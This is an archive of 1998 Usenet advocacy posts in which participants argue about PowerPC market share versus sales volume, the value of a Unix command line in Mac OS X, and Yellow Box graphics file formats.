>so, you are saying that if the PPC chip has a zero market share, it is
>still possible to have a high volume. I don't follow this logic.
If Mot can sell 10 million (or whatever) chips and be profitable, then it
doesn't matter whether 10,000 or 10 billion of the competetion's chips are
being sold, as long as Mot can continue to sell 10 million and be
profitable.
Andrew McCormick
--
smileyy@ix.netcom.com
From: "Steve" <nospam@nospam!.kom>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mobile Pentium II 300 MHz
Date: 10 Sep 1998 23:37:44 GMT
Organization: The Ohio State University
Message-ID: <01bddd14$2cca9400$a672fe8c@watts.67.acs.ohio-state.edu>
References: <6t6ruf$co8@newsb.netnews.att.com> <joe.ragosta-0909982049400001@elk102.dol.net> <6t78hh$jc1$1@morgoth.sfu.ca> <stone-1009980110020001@rc-pm3-1-24.enetis.net> <01bddcb5$d9f44ea0$7072fe8c@watts.67.acs.ohio-state.edu> <pulsar-ya02408000R1009981043060001@news-proxy.cso.uiuc.edu> <01bddd01$b8c70b40$a672fe8c@watts.67.acs.ohio-state.edu> <smileyy-1009981912370001@192.168.0.2>
Andrew McCormick <smileyy@ix.netcom.com> wrote in article
<smileyy-1009981912370001@192.168.0.2>...
>
> If Mot can sell 10 million (or whatever) chips and be profitable, then it
> doesn't matter whether 10,000 or 10 billion of the competetion's chips
are
> being sold, as long as Mot can continue to sell 10 million and be
> profitable.
>
And you believe that Motorola can sell 10 million PPC chips with a *zero*
market share?
-Steve
From: pulsar@springnet1.com (Pulsar)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mobile Pentium II 300 MHz
Date: Thu, 10 Sep 1998 10:43:06 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <pulsar-ya02408000R1009981043060001@news-proxy.cso.uiuc.edu>
References: <6t6ruf$co8@newsb.netnews.att.com> <joe.ragosta-0909982049400001@elk102.dol.net> <6t78hh$jc1$1@morgoth.sfu.ca> <stone-1009980110020001@rc-pm3-1-24.enetis.net> <01bddcb5$d9f44ea0$7072fe8c@watts.67.acs.ohio-state.edu>
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In article <01bddcb5$d9f44ea0$7072fe8c@watts.67.acs.ohio-state.edu>,
"Steve" <nospam@nospam!.kom> wrote:
> Kevin Stone <stone@stoneentertainment.com> wrote in article
> <stone-1009980110020001@rc-pm3-1-24.enetis.net>...
> >
> > The new chips feature a 1.9 volt core. 3.3 volt i/o. If the 400MHz
> > copper chip dissapates only 5.7 Watts max. then that's even better than
> > Moto's new 366MHz chip which dissapates 6.5 Watts max. IBM stated in a
> > recent press release about its upcoming SOI (Silicon on Insulator)
> process
> > that they hope to produce PowerPC G3 and G4 chips next year featuring 1
> > volt cores. What Intel must be asking them selves right now is, "When
> > does the hurting stop?". :)
> >
>
> Why would Intel be asking that when they sell 10 or more x86 chips for
> every PPC chip? I would think that the shoe is on the other foot; IBM and
> Motorola must be asking what they have to do to get any significant market
> share.
IBM and Motorola don't give a damn about market share. That's Apple's
worry. IBM and Motorola care about volume. The more they sell the happier
they are. The market share issue wouldn't be an issue for the Mac either if
it weren't for software.
Ryan Tokarek
<pulsar@springnet1.com>
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Date: Thu, 10 Sep 1998 10:43:35 -0500
Organization: Ericsson North America Inc.
Message-ID: <35F7F3A7.E846845F@ericsson.com>
References: <heaney-0509981648590001@24.0.246.137> <heaney-0909981615420001@24.0.246.137> <35F <35F767A9.F72D95C@nstar.net> <6t8p55$f0d@newsb.netnews.att.com>
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gupta@kcopsrm.tm.tta.moc-mirror, after, @ wrote:
>
> This one illustrates a good example :
> >
> >ps auxww | grep netscape | grep -v grep | awk '{print $2}' | kill -9
> >
>
> I work in a heterogenous environment with several flavors of UNIX,
> and ps is one of the commands I always have problems with :
ps is one of a few commands that have widely varying format depending on
whether you are using a BSD-ish version or you are using a
SYSV-ish/POSIX version. In my scripts I have to test for it; it's the
biggest pain I encounter, pretty much.
To avoid this problem, I use the Perl Proc::ProcessTable module in my
non-setuid scripts.
[cut]
> CLIs would be much nicer if these kinds of discrepancies were cleared up.
This is one of the ideas behind POSIX. Isn't MacOS X supposed to be
POSIX-compliant? Then you have nothing to worry about.
MJP
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
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Cc: buck.erik@mcleod.net
Organization: none
References: <6sva1t$12381@odie.mcleod.net> <B2188FA4-337A1@206.165.43.166>
<6svstq$au61@odie.mcleod.net> <6t7h6v$hci2@odie.mcleod.net>
Mime-Version: 1.0
Date: Thu, 10 Sep 1998 15:42:45 GMT
In <6t7h6v$hci2@odie.mcleod.net> "Michelle L. Buck" wrote:
> Good news! We don't have to choose. We can have both! Any graph of
> interconnected objects can be stored in either format.
Indeed, and typically ARE depending on the situtation. We use binary for
cut/paste and other ephemeral duties (NSCoder) and text files for anything
perm.
> XML is a good candidate for the definition/storage of arbitrary data
> including graphs of interconnected objects.
Yup. Definitely needs maturity, but it'll get there.
> We all agree that we can store arbitrary graphs of interconnected objects
in
> data files. Now, what objects shall we store ?
>
> Specifically regarding graphical "shape" based data, the following much
> discussed classes and structures are likely candidates for inclusion in
data
> files:
> NSString, NSData, NSArray, NSDictionary, NSNumber, NSAffineTransformation,
> NSBezierPath
> NSImage, NSColor, NSFont, NSPoint, NSRect, NSSize, NSTextContainer, any
> other object.
> line style, fill style, line end style, line cap style, NSArrays of
> NSBezierPaths, NSDictionaries of NSColors, NSData containing compressed
> bank statements, NSArrays of NSDictionaries of custom key/value pairs.
One issue is defining objects to encapsulate various PS concepts (line
caps and such) in an agreed upon format. Thankfully both of the current
"real" XML graphics standards do this.
> These are OPEN file formats in the most powerful way. I can extend the
> basic capabilities provided by Apple and the resulting data files can still
> be correctly processed by others.
Better yet it's likely that in most situations "older" apps that don't
understand these items will simply ignore them, and result is a
still-somewhat-usable representation.
> In the last week alone Mr. English has insinuated that I can not do
> arbitrary pixel by pixel color transformation on an image via Yellow Box
> APIs. He was wrong.
We went down that path once before (with a different person). After it was
demonstrated how to do it, I was flamed. Uggg.
> Mr.. English has not even tried the technology he is deriding. He does not
> know what he is talking about.
That's the sad part. Who knows, his code might be cool, if he wrote it.
Maury
From: heaney@SolidObject.com (John Heaney)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Message-ID: <heaney-1009981959380001@24.0.246.137>
References: <heaney-0509981648590001@24.0.246.137> <35F6D06C.562D8CEA@ericsson.com> <6t6te6$cpb@newsb.netnews.att.com> <35F702AF.BA9E9097@ericsson.com> <6t92f7$fhs@newsb.netnews.att.com> <35F822A8.2ECB2800@ericsson.com>
Organization: Solid Object Software
Date: Thu, 10 Sep 1998 23:50:44 GMT
NNTP-Posting-Date: Thu, 10 Sep 1998 16:50:44 PDT
In article <35F822A8.2ECB2800@ericsson.com>, Michael Peck
<Michael.Peck@ericsson.com> wrote:
> > >So what? Memorizing commands wasn't the point.
ls, rm, ps, grep...these are all commands that have to be memorized. It is
a lot easier to remember how to double-click on a folder rather than type
ls; especially when there are all those switches that effect what you see:
-a, -l, -f, etc.
> > Having only so many hours to live, and having only so many productive hours,
> > what would you rather do ? Master a CLI ? For most people, the answer
is NO.
>
> Oh, the melodrama is so enticing. "Hours to live" and "master a CLI" in
> the same breath. Yes, I've conquered this Herculean task. Idolize me.
I won't, but many would. You don't seem to realize how much more adept at
this stuff you are compared to the typical person. I understand that. As a
programmer, I have had many people ooh and ahh because I can do more with
the computer than most. I always thought it was silly because I didn't
have that much trouble learning this stuff; I enjoyed it. Most people
don't enjoy and most people have trouble learning it.
> As I've already said, learning the CLI is an up-front investment of time
> and energy that pays for itself. If you don't believe me, that's that.
> You'll never find out.
Think really hard about the amount of time and energy you have put into
learning the ins and outs of the unix CLI. Now, multiple that by a
hundred. Is it still worth it? That's what the average user is up against.
Now, keep in mind that the average user also doesn't need to use the
computer nearly as much as you do. Nor do they have to do the tasks that
you typically do. Is it still worth the investment. I don't think so and
neither do most people.
From: pulsar@springnet1.com (Pulsar)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mobile Pentium II 300 MHz
Date: Thu, 10 Sep 1998 18:57:26 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <pulsar-ya02408000R1009981857260001@news-proxy.cso.uiuc.edu>
References: <6t6ruf$co8@newsb.netnews.att.com> <joe.ragosta-0909982049400001@elk102.dol.net> <6t78hh$jc1$1@morgoth.sfu.ca> <stone-1009980110020001@rc-pm3-1-24.enetis.net> <01bddcb5$d9f44ea0$7072fe8c@watts.67.acs.ohio-state.edu> <pulsar-ya02408000R1009981043060001@news-proxy.cso.uiuc.edu> <01bddd01$b8c70b40$a672fe8c@watts.67.acs.ohio-state.edu> <smileyy-1009981912370001@192.168.0.2> <01bddd14$2cca9400$a672fe8c@watts.67.acs.ohio-state.edu>
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In article <01bddd14$2cca9400$a672fe8c@watts.67.acs.ohio-state.edu>,
"Steve" <nospam@nospam!.kom> wrote:
> Andrew McCormick <smileyy@ix.netcom.com> wrote in article
> <smileyy-1009981912370001@192.168.0.2>...
> >
> > If Mot can sell 10 million (or whatever) chips and be profitable, then it
> > doesn't matter whether 10,000 or 10 billion of the competetion's chips
> > are
> > being sold, as long as Mot can continue to sell 10 million and be
> > profitable.
> >
>
> And you believe that Motorola can sell 10 million PPC chips with a *zero*
> market share?
Oh, good grief! I said that market share was not the concern for those
companies. Volume is. One company's sales volume as a percentage of the
total for that market is market share. _OF_COURSE_ a non-zero sales is
going to mean non-zero market share! DUH! I said that market _share_ is not
the driving concern. I did _not_ say that it doesn't exist as a factor or
is irrelevant to everything or does not exist as a measure of certain
things. Sheesh.
Ryan Tokarek
<pulsar@springnet1.com>
From: "Steve" <nospam@nospam!.kom>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mobile Pentium II 300 MHz
Date: 11 Sep 1998 00:03:32 GMT
Organization: The Ohio State University
Message-ID: <01bddd17$c7634540$a672fe8c@watts.67.acs.ohio-state.edu>
References: <6t6ruf$co8@newsb.netnews.att.com> <joe.ragosta-0909982049400001@elk102.dol.net> <6t78hh$jc1$1@morgoth.sfu.ca> <stone-1009980110020001@rc-pm3-1-24.enetis.net> <01bddcb5$d9f44ea0$7072fe8c@watts.67.acs.ohio-state.edu> <pulsar-ya02408000R1009981043060001@news-proxy.cso.uiuc.edu> <01bddd01$b8c70b40$a672fe8c@watts.67.acs.ohio-state.edu> <smileyy-1009981912370001@192.168.0.2> <01bddd14$2cca9400$a672fe8c@watts.67.acs.ohio-state.edu> <pulsar-ya02408000R1009981857260001@news-proxy.cso.uiuc.edu>
Pulsar <pulsar@springnet1.com> wrote in article
<pulsar-ya02408000R1009981857260001@news-proxy.cso.uiuc.edu>...
>
> Oh, good grief! I said that market share was not the concern for those
> companies. Volume is. One company's sales volume as a percentage of the
> total for that market is market share. _OF_COURSE_ a non-zero sales is
> going to mean non-zero market share! DUH! I said that market _share_ is
not
> the driving concern. I did _not_ say that it doesn't exist as a factor or
> is irrelevant to everything or does not exist as a measure of certain
> things. Sheesh.
>
And my point is that it is not possible to have volume without market
share. If you are concerned about volume, you are automatically concerned
about market share. Declining market share eventually means volumes too
low to maintain production. Sheesh.
-Steve
From: heaney@SolidObject.com (John Heaney)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: Heidi on Heidi (Was Re: Did Heidi Roizen do a good job?)
Message-ID: <heaney-1009982019280001@24.0.246.137>
References: <heaney-0509981648590001@24.0.246.137> <B218206E-5842E@206.165.43.134> <6suplu$rqm$1@nnrp02.primenet.com> <heaney-0609982205450001@24.0.246.137> <6svokr$51r$1@nnrp02.primenet.com> <heaney-0809980032490001@24.0.246.137> <6t3if6$h$1@nnrp02.primenet.com> <heaney-0809981243030001@24.0.246.137> <6t3mup$124$1@nnrp02.primenet.com> <6t3qeq$1nr$1@nnrp02.primenet.com> <heaney-0809981619320001@24.0.246.137> <6t45bu$529$1@nnrp02.primenet.com> <6t7lkd$19n@news1.panix.com> <id_est-1009980135420001@192.168.1.3> <6t98k3$dfs$1@nnrp3.snfc21.pbi.net> <35F835F3.909C3E2A@ericsson.com>
Organization: Solid Object Software
Date: Fri, 11 Sep 1998 00:10:42 GMT
NNTP-Posting-Date: Thu, 10 Sep 1998 17:10:42 PDT
In article <35F835F3.909C3E2A@ericsson.com>, Michael Peck
<Michael.Peck@ericsson.com> wrote:
> > And I'm afraid that with a CLI, a whole new generation
> > will just punt on helping make the Macintosh a friendly system.
>
> And without it, a whole new generation will lose out on helping to make
> the Macintosh a *useful* system.
I can't help it; I think this is bizarre. How is a CLI going to help a Mac
user. If someone is using the MacOS, they are, by definition, using
applications with consistent GUIs (hopefully). You expect them to then
drop into a CLI interface occasionally to work more efficiently? An
occasional CLI user is supposed to be able to do what amounts to scripting
with unix? No way! If you really think that unix is better than the MacOS,
why not just use unix? What does the MacOS get you? Again, I really don't
see the benefits here. There is a small population of users that will
benefit by having unix around; most likely running as a process under the
MacOS. These users will get it one way or another. At the very least,
you'll be able to get linux. I don't even see a problem here. Why does
Apple need to ship it to every single user when the distinction of the
MacOS from everything else is its ease of use via the GUI? What possible
motive would they have?
From: pulsar@springnet1.com (Pulsar)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mobile Pentium II 300 MHz
Date: Thu, 10 Sep 1998 19:14:51 -0500
Organization: University of Illinois at Urbana-Champaign
Message-ID: <pulsar-ya02408000R1009981914510001@news-proxy.cso.uiuc.edu>
References: <6t6ruf$co8@newsb.netnews.att.com> <joe.ragosta-0909982049400001@elk102.dol.net> <6t78hh$jc1$1@morgoth.sfu.ca> <stone-1009980110020001@rc-pm3-1-24.enetis.net> <01bddcb5$d9f44ea0$7072fe8c@watts.67.acs.ohio-state.edu> <pulsar-ya02408000R1009981043060001@news-proxy.cso.uiuc.edu> <01bddd01$b8c70b40$a672fe8c@watts.67.acs.ohio-state.edu> <smileyy-1009981912370001@192.168.0.2> <01bddd14$2cca9400$a672fe8c@watts.67.acs.ohio-state.edu> <pulsar-ya02408000R1009981857260001@news-proxy.cso.uiuc.edu> <01bddd17$c7634540$a672fe8c@watts.67.acs.ohio-state.edu>
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In article <01bddd17$c7634540$a672fe8c@watts.67.acs.ohio-state.edu>,
"Steve" <nospam@nospam!.kom> wrote:
> Pulsar <pulsar@springnet1.com> wrote in article
> <pulsar-ya02408000R1009981857260001@news-proxy.cso.uiuc.edu>...
> >
> > Oh, good grief! I said that market share was not the concern for those
> > companies. Volume is. One company's sales volume as a percentage of the
> > total for that market is market share. _OF_COURSE_ a non-zero sales is
> > going to mean non-zero market share! DUH! I said that market _share_ is
> > not
> > the driving concern. I did _not_ say that it doesn't exist as a factor or
> > is irrelevant to everything or does not exist as a measure of certain
> > things. Sheesh.
>
> And my point is that it is not possible to have volume without market
> share. If you are concerned about volume, you are automatically concerned
> about market share. Declining market share eventually means volumes too
> low to maintain production. Sheesh.
Begging your pardon, but... bullshit!
If your company sells a total of 1 million units in one year and maintains
5% growth in sales each year after from year to year while the rest of the
industry sells 5 million units and grows its sales at 7% year to year, then
your company will have falling market share, but _INCREASING_SALES_! A
market share decline says _NOTHING_ about sales except that it is not
growing as fast as the rest of the industry. Perhaps that means that sales
are declining or perhaps it means that sales are increasing at a slower
rate than the industry average. You cannot make the determination from
market share alone.
Market share by itself implies nothing about the profitability of a company
nor does it imply anything about the sales. Change in market share implies
nothing about profitability nor anything about sales except that the growth
rate (positive or negative) is less than the total.
Heck. It's even possible to have increasing market share while experiencing
decreasing sales! Market share is not the only measure worth considering,
and I do not believe it is specifically what IBM and Motorola are concerned
with.
Ryan Tokarek
<pulsar@springnet1.com>
From: "Michelle L. Buck" <buck.erik@mcleod.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: A new pre-press format for YB (Was Re: GX vs ?? (Was ...
Date: Thu, 10 Sep 1998 19:14:35 -0500
Organization: McleodUSA - http://www.mcleodusa.net
Message-ID: <6t9q53$gpc1@odie.mcleod.net>
References: <6t7h6v$hci2@odie.mcleod.net> <B21D96A3-5F987@206.165.43.113>
Lawson English wrote in message ...
>
>
>If the proposed YB pre-press solution offers far more useful capabilities
>than PDF is capable of providing, it seems to me that most pre-press people
>would prefer to use Yellow Box apps to take advantage of the capabilities
>that are only available by using YB apps.
>
>
>Don't you agree?
>
Where to you get the idea that PDF limitations are any more limiting than
DPS limitations with regard to the capabilities of YellowBox graphical
applications ? What have you been ranting about for 2 years ? You are
trying to tell us that your complaints, criticism, and claims of
impossibility all this time have been based on what ... ? If PDF or EPS do
not meet your needs, don't use them. If pre-press or press people want
those formats, you may not have any choice. If pre-press people are willing
to adopt a YellowBox or even XML based solution, you have no basis for
complaint. If they are not willing to adopt YellowBox or even XML and you
have no hope of convincing them to use GX, then you are out of luck all
around and the reasons have nothing to do with technology. Again, what are
you complaining about ? What have you been complaining about for two years
? How many more times are you going to make outlandishly false claims. Are
you now a YellowBox convert ?
The loss of DPS greatly concerns ME. I have little confidence in Apple's
technical or political ability to provide a workable remote display/event
capability. I have no confidence in Apple to provide anything close to the
rich set of graphical capabilities we once enjoyed. I have no confidence in
Apple preserving meaningful WYSIWYG. I have no confidence in Apple
providing superior performance. I have no confidence in Apple quality.
This is Apple we are talking about. If NeXT was one of the most highly
respected companies and NeXTstep was one the most respected piece of
software ever produced as "Byte" once claimed, then Apple has to be the
least respected. Apple is the only large software company I can think of
that is worse than Microsoft when it comes to delivering products that
exhibit TMBI/TMBM. (They must be idiots or they must be malicious)
Re: Microsoft. I would leave the profession before I would work for
Microsoft at any position lower than Vice president for firing people who
exhibit profound stupidity and/or maliciousness. Gates would have to be the
first to go.
The irony is that Mr. English has historically not been correct. I have
confidence that Apple can screw up the most respected software ever
produced. Then Mr. English will be right.
From: antwun@bellsouth.net (vapor)
Newsgroups: alt.flame.macintosh,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: What we need from Mac OSuX
Date: Thu, 10 Sep 1998 18:19:15 GMT
Organization: ...
Message-ID: <35fe1641.11376950@news.alt.net>
References: <6sgvuu$cha$1@supernews.com> <blewis-0109981201030001@207.90.74.227> <ZX8H1.831$3i2.524085@newsfeed.slurp.net> <christian.bau-0209981357220001@christian-mac.isltd.insignia.com> <6sm7m1$p16$1@supernews.com> <6srcdn$2dl$1@nnrp1.dejanews.com> <35f54abf.2225065@news.alt.net> <no-spam-0509981559360001@10.0.1.99> <35f2cad3.35018678@news.alt.net> <no-spam-0809981402590001@10.0.1.99> <35f981c1.4716408@news.alt.net> <no-spam-0909981926220001@10.0.1.99>
Mime-Version: 1.0
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On 9 Sep 1998 19:18:43 -0500, no-spam@one.net (MojiDoji) wrote:
>In article <35f981c1.4716408@news.alt.net>, antwun@yahoo.com (vapor) wrote:
>
>> no-spam@one.net (MojiDoji) wrote:
>>
>> >In article <35f2cad3.35018678@news.alt.net>, antwun@yahoo.com (vapor) wrote:
>> >
>> >> no-spam@one.net (MojiDoji) wrote:
>> >>
>> >> >In article <35f54abf.2225065@news.alt.net>, antwun@yahoo.com (vapor)
>wrote:
>> >> >
>> >> >> hughesojh@my-dejanews.com wrote:
>> >> >>
>> >> >> >Windoze user filth mentality:
>> >> >> >
>> >> >> >"If the computer does something dumb, why it must be MY fault".
>> >> >>
>> >> >> Yes, 9 times out of 10 that's the case.
>> >> >>
>> >> >> >
>> >> >> >A decent OS should work how you want it to.
>> >> >>
>> >> >> What OS offers the user more customization options?
>> >> >> Linux would have to be number one because the source code is
>> >> >> distributed with the OS. Win9x/NT would be second. Both allow the user
>> >> >> to freely configure almost every aspect of the OS. MacOS doesn't even
>> >> >> make the list as far as I'm concerned. You either do it Apples way or
>> >> >> you can FOAD.
>> >> >>
>> >> >> >If it doesn't, then you should be able to change it.
>> >> >>
>> >> >> Tell that to Apple.
>> >> >>
>> >> >
>> >> >I agree, Win95/NT is far more configurable than MacOS. But I think OS/2
>> >> >should be placed between Linux and Windows.
>> >>
>> >> Good point, I always forget about OS/2. Dam fine OS, too bad it never
>> >> really caught on. It would be nice if Gates would climb down off his
>> >> mountain of gold and provide a scripting language standard with NT. If
>> >> your gonna bloat up a Op system you may as well toss in some useful
>> >> things. I have a buddy of mine who swears by OS/2. His tricked out
>> >> OS/2 box rivals my linux setup in functionality, but suffers in speed.
>> >>
>> >>
>> >> --
>> >> vapor
>> >
>> >Since IBM supposedly has a PPC OS/2 distribution, I would love to see it
>> >come to market. I would probably become an OS/2 user.
>>
>> Interesting, I haven't heard about this. The problem is, Jobs would
>> never let this system become available from Mac users. I wonder if IBM
>> is considering marketing PPC based OS/2 boxes aimed at the home
>> market?
>>
>> --
>> vapor
>
>Actually, IBM origionally intended to produce Warp as a PPC OS.
>Unfortunately, they never sold it because of the obvious lack of hardware
>(IBM could only sell it to people who actually had an IBM PPC system).
>It's doubtfull that we will ever see OS/2 PPC, which is a shame. I would
>just like to see someone take up where IBM left off and release OS/2 for
>CHRP (or PREP). I think you are correct in your assertion that Apple
>would not make OS/2 PPC available, but there are plenty of companies who
>could. Maybe even a GNU OS/2.
I really think something new and innovative is right around the
corner. It's going to be real funny to watch Gates and Jobs sigh a
collective "Oh fuck!" when it happens. Microsoft's dominance of the
computer market will be just one more chapter in the saga that is the
information age.
--
vapor
From: "Steve" <nospam@nospam!.kom>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mobile Pentium II 300 MHz
Date: 11 Sep 1998 00:24:50 GMT
Organization: The Ohio State University
Message-ID: <01bddd1a$c049eb80$a672fe8c@watts.67.acs.ohio-state.edu>
References: <6t6ruf$co8@newsb.netnews.att.com> <joe.ragosta-0909982049400001@elk102.dol.net> <6t78hh$jc1$1@morgoth.sfu.ca> <stone-1009980110020001@rc-pm3-1-24.enetis.net> <01bddcb5$d9f44ea0$7072fe8c@watts.67.acs.ohio-state.edu> <pulsar-ya02408000R1009981043060001@news-proxy.cso.uiuc.edu> <01bddd01$b8c70b40$a672fe8c@watts.67.acs.ohio-state.edu> <smileyy-1009981912370001@192.168.0.2> <01bddd14$2cca9400$a672fe8c@watts.67.acs.ohio-state.edu> <pulsar-ya02408000R1009981857260001@news-proxy.cso.uiuc.edu> <01bddd17$c7634540$a672fe8c@watts.67.acs.ohio-state.edu> <pulsar-ya02408000R1009981914510001@news-proxy.cso.uiuc.edu>
Pulsar <pulsar@springnet1.com> wrote in article
<pulsar-ya02408000R1009981914510001@news-proxy.cso.uiuc.edu>...
> In article <01bddd17$c7634540$a672fe8c@watts.67.acs.ohio-state.edu>,
> "Steve" <nospam@nospam!.kom> wrote:
>
> > Pulsar <pulsar@springnet1.com> wrote in article
> > <pulsar-ya02408000R1009981857260001@news-proxy.cso.uiuc.edu>...
> > >
> > > Oh, good grief! I said that market share was not the concern for
those
> > > companies. Volume is. One company's sales volume as a percentage of
the
> > > total for that market is market share. _OF_COURSE_ a non-zero sales
is
> > > going to mean non-zero market share! DUH! I said that market _share_
is
> > > not
> > > the driving concern. I did _not_ say that it doesn't exist as a
factor or
> > > is irrelevant to everything or does not exist as a measure of certain
> > > things. Sheesh.
> >
> > And my point is that it is not possible to have volume without market
> > share. If you are concerned about volume, you are automatically
concerned
> > about market share. Declining market share eventually means volumes
too
> > low to maintain production. Sheesh.
>
> Begging your pardon, but... bullshit!
>
> If your company sells a total of 1 million units in one year and
maintains
> 5% growth in sales each year after from year to year while the rest of
the
> industry sells 5 million units and grows its sales at 7% year to year,
then
> your company will have falling market share, but _INCREASING_SALES_! A
> market share decline says _NOTHING_ about sales except that it is not
> growing as fast as the rest of the industry. Perhaps that means that
sales
> are declining or perhaps it means that sales are increasing at a slower
> rate than the industry average. You cannot make the determination from
> market share alone.
>
> Market share by itself implies nothing about the profitability of a
company
> nor does it imply anything about the sales. Change in market share
implies
> nothing about profitability nor anything about sales except that the
growth
> rate (positive or negative) is less than the total.
>
> Heck. It's even possible to have increasing market share while
experiencing
> decreasing sales! Market share is not the only measure worth considering,
> and I do not believe it is specifically what IBM and Motorola are
concerned
> with.
>
Unless you work for IBM or Motorola you don't know what they are worried
about. There is also more to processor sales than just instantaneous
volume levels. If market share declines too much, regardless of volume,
there will be far fewer developers writing software for the chip. Apple
came very close to going below critical market share a while back. If
Apple's market share declines again, Motorola could be in serious trouble
(with respect to the PPC), whereas IBM might be able to stick it out
considering the huge markup it gets on PPC servers and worstations. Market
share mean mindshare; lose mindshare in the high-tech industry and you
eventually lose everything.
-Steve
Date: Thu, 10 Sep 1998 21:05:54 -0500
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mobile Pentium II 300 MHz
Message-ID: <joe.ragosta-1009982105540001@elk99.dol.net>
References: <6t6ruf$co8@newsb.netnews.att.com> <joe.ragosta-0909982049400001@elk102.dol.net> <6t78hh$jc1$1@morgoth.sfu.ca> <stone-1009980110020001@rc-pm3-1-24.enetis.net> <01bddcb5$d9f44ea0$7072fe8c@watts.67.acs.ohio-state.edu> <keyes-ya02408000R1009980913380001@news> <01bddcc0$5d4b7620$7072fe8c@watts.67.acs.ohio-state.edu> <joe.ragosta-1009981016020001@wil49.dol.net> <01bddd04$96242200$a672fe8c@watts.67.acs.ohio-state.edu>
In article <01bddd04$96242200$a672fe8c@watts.67.acs.ohio-state.edu>,
"Steve" <nospam@nospam!.kom> wrote:
> Joe Ragosta <joe.ragosta@dol.net> wrote in article
> <joe.ragosta-1009981016020001@wil49.dol.net>...
> >
> > I don't know about that. It [Merced] was originally scheduled for 1999.
> Then 2000.
> > Now, InfoWorld says that the first version that will be any good will be
> > 2001.
>
> And that is just informed speculation on InfoWorld's part. There are all
> sorts of predictions about Merced (anywhere from out in mid-1999 to never
> released at all, in favor of the second generation McKinley processor due
> in 2001 (maybe)). Nobody will know until it's actually released.
>
> > Not true. The rumored performance of the Merced chip isn't that far ahead
> > of the Power3 chip set. Given the things that are planned for PPC, it's
> > pretty hard to reach that conclusion.
>
> Again, it depends on who you read and what the context is. Rumored
> performance numbers I have seen range from about G3 performance (at
> equivalent clock rates) to 4 times G3 performance when you take optomized
> EPIC architecture into consideration. Nobody really knows what it's
> performance will be when it is released and what it's ultimate performance
> potential is compared with RISC chips such as the PPC.
>
>
> > BTW, will SPEC take advantage of AltiVec?
>
> I'm not sure, but probably so, *if* support is included in the compiler.
> However, my take on AltiVec is that it won't be very successful. This is
> not because it isn't technically superior, but because IBM has said they
> won't support it. Mac users will have a choice: Motorola processors that
> have lower clock speeds but AltiVec support for certain
> applications/processes, or IBM copper chips with higher clock speeds that
> improve the speed of all applications/processes but do not include AltiVec.
>
Maybe. Remember that Motorola has done a pretty good job of matching IBM's
clock speeds so far. Moto will be shipping 366 in quantity about the same
time as IBM is shipping 400 in quantity.
--
Regards,
Joe Ragosta
See the Complete Macintosh Page at its new location:
http://www.taylor-design.com/cMacindex.html
From: "Steve" <nospam@nospam!.kom>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mobile Pentium II 300 MHz
Date: 11 Sep 1998 01:08:24 GMT
Organization: The Ohio State University
Message-ID: <01bddd20$d663d240$a672fe8c@watts.67.acs.ohio-state.edu>
References: <6t6ruf$co8@newsb.netnews.att.com> <joe.ragosta-0909982049400001@elk102.dol.net> <6t78hh$jc1$1@morgoth.sfu.ca> <stone-1009980110020001@rc-pm3-1-24.enetis.net> <01bddcb5$d9f44ea0$7072fe8c@watts.67.acs.ohio-state.edu> <pulsar-ya02408000R1009981043060001@news-proxy.cso.uiuc.edu> <01bddd01$b8c70b40$a672fe8c@watts.67.acs.ohio-state.edu> <smileyy-1009981912370001@192.168.0.2> <01bddd14$2cca9400$a672fe8c@watts.67.acs.ohio-state.edu> <pulsar-ya02408000R1009981857260001@news-proxy.cso.uiuc.edu> <01bddd17$c7634540$a672fe8c@watts.67.acs.ohio-state.edu> <pulsar-ya02408000R1009981914510001@news-proxy.cso.uiuc.edu> <01bddd1a$c049eb80$a672fe8c@watts.67.acs.ohio-state.edu> <pulsar-ya02408000R1009981955180001@news-proxy.cso.uiuc.edu>
Pulsar <pulsar@springnet1.com> wrote in article
<pulsar-ya02408000R1009981955180001@news-proxy.cso.uiuc.edu>...
>
> Furthermore, your comment is ridiculous. "If market share declines too
> much, regardless of volume..." Not regardless of volume. If there are
tens
> of millions of PPC based computers sold every year there will be money to
> be made off the PPC based market as far as software. This is true even if
> there are a billion other computers sold every year. The size of the
market
> makes for profitability not the share.
>
In a publicly traded company, market share is of supreme importance. Stock
prices are based on the perception of future profits. Publicly traded
companies are obliged to please their stockholders. If market share is
declining, regardless of volume, stock prices are likely to decline also.
Privately held companies can survive on volume alone (assuming market share
greater than zero), but it is rare that a publicly held company can survive
indefiniteley with continually decreasing market share.
So my argument goes like this: (1) There must be some market share greater
than zero; (2) To maintain mindshare in a high-tech company, market share
must also be maintained; and (3) To maintain stockholder confidence in a
publicly held company, market share usually must be stable or increasing.
All of these suggest to me that market share must be an important
consideration.
If you still disagree, I suggest that our definitions are different and we
obviously are not going to convince each other that the opposite viewpoint
is correct.
-Steve
From: "Michael J. Peck" <mjpeck@nstar.net>
